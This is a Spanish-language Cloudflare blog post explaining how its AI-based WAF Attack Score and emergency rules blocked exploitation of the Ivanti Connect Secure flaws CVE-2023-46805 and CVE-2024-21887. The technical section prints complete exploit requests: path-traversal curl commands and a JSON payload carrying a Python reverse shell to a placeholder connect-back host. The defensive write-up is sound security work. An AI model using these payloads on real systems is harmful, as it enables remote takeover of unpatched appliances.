Suscríbete para recibir notificaciones de nuevas publicaciones:

Cómo el WAF con IA de Cloudflare detectó una vulnerabilidad crítica de día cero en Ivanti Connect Secure

2024-01-23

5 min de lectura
Esta publicación también está disponible en English, 繁體中文, Français, Deutsch, 日本語, 한국어, Português y 简体中文.

La mayoría de los proveedores de WAF dependen de métodos reactivos, y responden a las vulnerabilidades una vez se han identificado y explotado. Sin embargo, creemos en la capacidad de abordar de forma proactiva los riesgos potenciales y utilizar la IA para lograrlo. Hoy analizamos un ejemplo reciente de una vulnerabilidad crítica (CVE-2023-46805 y CVE-2024-21887) y cómo nuestro sistema Attack Score impulsado por IA y las reglas de emergencia en el WAF contrarrestaron esta amenaza.

How Cloudflare’s AI WAF proactively detected Ivanti Connect Secure critical zero-day vulnerability

Amenaza: CVE-2023-46805 y CVE-2024-21887

La plataforma AttackerKB identificó y analizó recientemente una vulnerabilidad de omisión de autenticación (CVE-2023-46805) e inyección de comandos (CVE-2024-21887) que afectaba a los productos Ivanti. Esta vulnerabilidad plantea riesgos importantes que podrían llevar al acceso y control no autorizados de los sistemas afectados. En la siguiente sección explicaremos cómo se puede explotar esta vulnerabilidad.

Análisis técnico

Tal y como se analiza en la plataforma AttackerKB, el atacante puede enviar una solicitud malintencionada al sistema de destino mediante un comando como este:

Este comando tiene como objetivo un punto final (/license/keys-status/) que normalmente está protegido mediante autenticación. Sin embargo, el atacante puede eludir la autenticación manipulando la URL para incluir /api/v1/totp/user-backup-code/../../license/keys-status/. Esta técnica se conoce como Directory Traversal.

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../license/keys-status/%3Bpython%20%2Dc%20%27import%20socket%2Csubprocess%3Bs%3Dsocket%2Esocket%28socket%2EAF%5FINET%2Csocket%2ESOCK%5FSTREAM%29%3Bs%2Econnect%28%28%22CONNECTBACKIP%22%2CCONNECTBACKPORT%29%29%3Bsubprocess%2Ecall%28%5B%22%2Fbin%2Fsh%22%2C%22%2Di%22%5D%2Cstdin%3Ds%2Efileno%28%29%2Cstdout%3Ds%2Efileno%28%29%2Cstderr%3Ds%2Efileno%28%29%29%27%3B

La parte del comando con codificación URL se decodifica en un reverse shell en Python, que se ve así:

El reverse shell en Python es una forma que permite al atacante obtener control sobre el sistema objetivo.

;python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("CONNECTBACKIP",CONNECTBACKPORT));subprocess.call(["/bin/sh","-i"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';

La vulnerabilidad existe en la forma en que el sistema procesa el parámetro node_name. Si un atacante puede controlar el valor de node_name, puede inyectar comandos en el sistema.

El parámetro "node_name" es un componente del punto final /api/v1/license/keys-status/path:node_name. Este punto final es donde ocurre principalmente el problema.

El atacante puede enviar una solicitud GET a la ruta URI /api/v1/totp/user-backup-code/../../license/keys-status/;CMD; donde CMD es cualquier comando que deseen ejecutar. El uso de un punto y coma les permite especificar este comando en la solicitud. Para garantizar que el sistema procese correctamente el comando, debe tener codificación URL.

Se identificó otra vulnerabilidad de inyección de código, como se detalla en la publicación del blog de AttackerKB. Esta vez, se trataba de una inyección de comando autenticado que se encuentra en una parte diferente del sistema.

Aquí se puede emplear la misma carga malintencionada del reverse shell de Python utilizada en la primera inyección de comando, creando una estructura JSON para activar la vulnerabilidad. Dado que la carga malintencionada está en JSON, no es necesario que tenga codificación URL:

Aunque el punto final /api/v1/system/maintenance/archiving/cloud-server-test-connection requiere autenticación, un atacante puede evitarlo encadenándolo con la vulnerabilidad Directory Traversal mencionada anteriormente. Pueden crear una ruta URI no autenticada /api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection para llegar a este punto final y explotar la vulnerabilidad.

{
    "type": ";python -c 'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"CONNECTBACKIP\",CONNECTBACKPORT));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())';",
    "txtGCPProject": "a",
    "txtGCPSecret": "a",
    "txtGCPPath": "a",
    "txtGCPBucket": "a"
}

Para ejecutar un comando del sistema operativo no autenticado, un atacante usaría una solicitud curl como esta:

Protección proactiva de Cloudflare

curl -ik --path-as-is https://VICTIM/api/v1/totp/user-backup-code/../../system/maintenance/archiving/cloud-server-test-connection -H 'Content-Type: application/json' --data-binary $'{ \"type\": \";python -c \'import socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"CONNECTBACKIP\\\",CONNECTBACKPORT));subprocess.call([\\\"/bin/sh\\\",\\\"-i\\\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())\';\", \"txtGCPProject\":\"a\", \"txtGCPSecret\":\"a\", \"txtGCPPath\":\"a\", \"txtGCPBucket\":\"a\" }'

Cloudflare WAF cuenta con el respaldo de una capa adicional impulsada por IA llamada WAF Attack Score, cuyo objetivo es detectar desviaciones de ataques incluso antes de que se hagan públicos. Attack Score proporciona una puntuación para indicar si la solicitud es maliciosa o no. Se centra en tres categorías principales hasta ahora: XSS, SQLi y algunas variaciones de RCE (Command injection, ApacheLog4J, etc.). La puntuación oscila entre 1 y 99 y cuanto menor sea la puntuación, más peligrosa será la solicitud. En términos generales, cualquier solicitud con una puntuación inferior a 20 se considera maliciosa.

Echa un vistazo a los resultados del ejemplo de las vulnerabilidades anteriores, CVE-2023-46805 y CVE-2024-21887, en el panel de Cloudflare (Seguridad > Incidentes). Los resultados del análisis de Attack Score constan de tres puntuaciones individuales, cada una etiquetada para indicar su relevancia para una categoría de ataque específica. También hay una puntuación global, "WAF Attack Score", que evalúa el impacto combinado de estas tres puntuaciones. En algunos casos, la puntuación global se ve afectada por una de las subpuntuaciones si el ataque coincide con una categoría. A continuación, podemos ver que la subpuntuación dominante es la ejecución remota de código "WAF RCE Attack Score".

De manera similar, para la solicitud de comando del sistema operativo no autenticado, recibimos una puntuación "WAF Attack Score: 19" del modelo de IA, que también se encuentra en la categoría de solicitud maliciosa. Vale la pena mencionar que las puntuaciones de ejemplo no son números fijos y pueden variar según la variación del ataque recibido.

Screenshot from Security Events highlighting WAF Attack Score Results showing WAF attack Score of 9

La buena noticia es que los clientes suscritos a los planes Enterprise y Business que hayan habilitado WAF Attack Score, junto con una regla para bloquear puntuaciones bajas (por ejemplo, [cf.waf.score](https://developers.cloudflare.com/waf/about/waf-attack-score/#available-scores) le 20) o ([cf.waf.score.class](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#field-cf-waf-score-class) eq "attack") para Business, ya estaban protegidos de posibles vulnerabilidades que se han probado hasta ahora incluso antes de que se anunciara la vulnerabilidad.

Implementación de reglas de emergencia

En respuesta a esta vulnerabilidad crítica, Cloudflare implementó reglas de emergencia el 17 de enero de 2024, 24 horas después de que la prueba de concepto se hiciera pública. Estas reglas son parte de sus reglas administradas para el WAF, específicamente dirigidas a la amenaza planteada por CVE-2023-46805 y una vulnerabilidad adicional, CVE-2024-21887, también relacionada con los productos Ivanti. Se han creado las reglas, denominadas "Ivanti - Auth Bypass, Command injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887", para bloquear los intentos de explotar estas vulnerabilidades y proporcionar una capa adicional de seguridad a los usuarios de Cloudflare.

Desde que implementamos estas reglas, hemos registrado un alto nivel de actividad. En el momento de redactar este informe, la regla se había activado más de 180 000 veces.

.tg {border-collapse:collapse;border-color:#ccc;border-spacing:0;} .tg td{background-color:#fff;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;overflow:hidden;padding:10px 5px;word-break:normal;} .tg th{background-color:#f0f0f0;border-color:#ccc;border-style:solid;border-width:1px;color:#333; font-family:Arial, sans-serif;font-size:14px;font-weight:normal;overflow:hidden;padding:10px 5px;word-break:normal;} .tg .tg-dgl5{background-color:#FFF;font-weight:bold;text-align:left;vertical-align:top} .tg .tg-ktyi{background-color:#FFF;text-align:left;vertical-align:top} .tg .tg-0lax{text-align:left;vertical-align:top}

Rule ID Description Default Action
New Managed Rule…34ab53c5 Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block
Legacy Managed Rule
100622
Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887 Block

Id. de regla

Descripción

Acción por defecto

Nueva regla administrada…34ab53c5

Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887

Bloquear

Regla administrada heredada100622

Ivanti - Auth Bypass, Command Injection - CVE:CVE-2023-46805, CVE:CVE-2024-21887

Bloquear

Implicaciones y prácticas recomendadas

La respuesta de Cloudflare a CVE-2023-46805 y CVE-2024-21887 destaca la importancia de contar con medidas de seguridad sólidas. Se recomienda a las organizaciones que utilizan los servicios de Cloudflare, en particular el WAF, que se aseguren de que sus sistemas estén actualizados con las últimas reglas y configuraciones para garantizar una protección óptima. También recomendamos a los clientes que implementen reglas con Attack Score para mejorar su postura de seguridad. Si deseas obtener más información sobre Attack Score, ponte en contacto con tu equipo de cuenta.

Conclusión

El enfoque proactivo de Cloudflare en materia de ciberseguridad con el uso de IA para identificar y detener ataques, como demuestra su respuesta a las vulnerabilidades CVE-2023-46805 y CVE-2024-21887, resalta cómo se pueden identificar las amenazas y los ataques antes de que se hagan públicos y se revelen las vulnerabilidades. La supervisión continua y la capacidad de responder rápidamente a las vulnerabilidades permiten a Cloudflare garantizar la seguridad de sus clientes en un panorama digital cada vez más complejo.

Protegemos redes corporativas completas, ayudamos a los clientes a desarrollar aplicaciones web de forma eficiente, aceleramos cualquier sitio o aplicación web, prevenimos contra los ataques DDoS, mantenemos a raya a los hackers, y podemos ayudarte en tu recorrido hacia la seguridad Zero Trust.

Visita 1.1.1.1 desde cualquier dispositivo para empezar a usar nuestra aplicación gratuita y beneficiarte de una navegación más rápida y segura.

Para saber más sobre nuestra misión para ayudar a mejorar Internet, empieza aquí. Si estás buscando un nuevo rumbo profesional, consulta nuestras ofertas de empleo.
VulnerabilitiesWAF RulesWAFWAF Attack ScoreZero Day Threats (ES)AI WAF

Síguenos en X

Himanshu Anand|@anand_himanshu
Radwa Radwan|@RadwaRadwan__
Cloudflare|@cloudflare

Publicaciones relacionadas

09 de julio de 2024, 12:00

RADIUS/UDP vulnerable to improved MD5 collision attack

The RADIUS protocol is commonly used to control administrative access to networking gear. Despite its importance, RADIUS hasn’t changed much in decades. We discuss an attack on RADIUS as a case study for why it’s important for legacy protocols to keep up with advancements in cryptography...